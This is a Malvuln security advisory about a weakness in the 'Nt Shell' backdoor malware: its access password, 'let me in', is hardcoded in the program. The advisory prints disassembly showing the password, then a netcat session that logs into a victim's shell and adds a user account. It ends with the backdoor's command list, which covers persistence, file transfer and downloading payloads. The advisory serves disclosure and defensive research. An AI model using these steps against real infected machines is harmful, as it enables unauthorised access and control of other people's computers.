Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/eacaa12336f50f1c395663fba92a4d32.txt
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed using ASPack 2.11, listens on TCP port 22 and requires authentication. However, the password "let me in" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Vuln ID: MVID-2022-0643
004029A0 call sub_4010E0
004029A5 add esp, 0Ch
004029A8 cmp eax, ebp
004029AA jge short loc_4029CC
004029AC mov edi, [esp+eax*4+230h+var_21C]
004029B0 mov ecx, ebx
004029B2 xor eax, eax
004029B4 repne scasb
004029B6 not ecx
004029B8 sub edi, ecx
004029BA mov edx, ecx
004029BC mov esi, edi
004029BE mov edi, offset aLetMeIn ; "let me in"
C:\>nc64.exe x.x.x.x 22
let me in
Nt Shell 1.0 beta by email@example.com
Indicator '#' is NTShell Server output.
Type ?help for support commands beyond cmd;
?use at command line for support parameters.
Use 'net helpmsg xxx' to see detail message of Error Code.
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\Victim\Desktop>net user hyp3rlinx 1313 /add
net user hyp3rlinx 1313 /add
The command completed successfully.
#?autorun [name file "args"] --- add the [file] to autorun when reboot,
[file] default is ntshell.exe
#?canceldata --- abort the previous file transfer command
#?chdir <dir> --- change the server current dir to <dir>,
can be UNC(share) name
#?get <file> [port] --- GET <file> from server, server use [port] to tranfer
#?help --- show this HELP
#?httpget <url> <file> --- get the 'file' from 'url',
eg:httpget http://192.168.0.1 /hackdir/hackprog.exe
#?pskill PID --- Kill the Process with PID
#?pslist --- List the all process in system
#?put <file> [port] --- PUT <file> to server, server use [port] to tranfer
#?quit --- QUIT the telnetd program
#?restart [<user> [pass]] --- restart the shell as [user] in stead of
IUSR_computer if [user] specified, no need to reconnect
#?sysinfor --- Get the System os information
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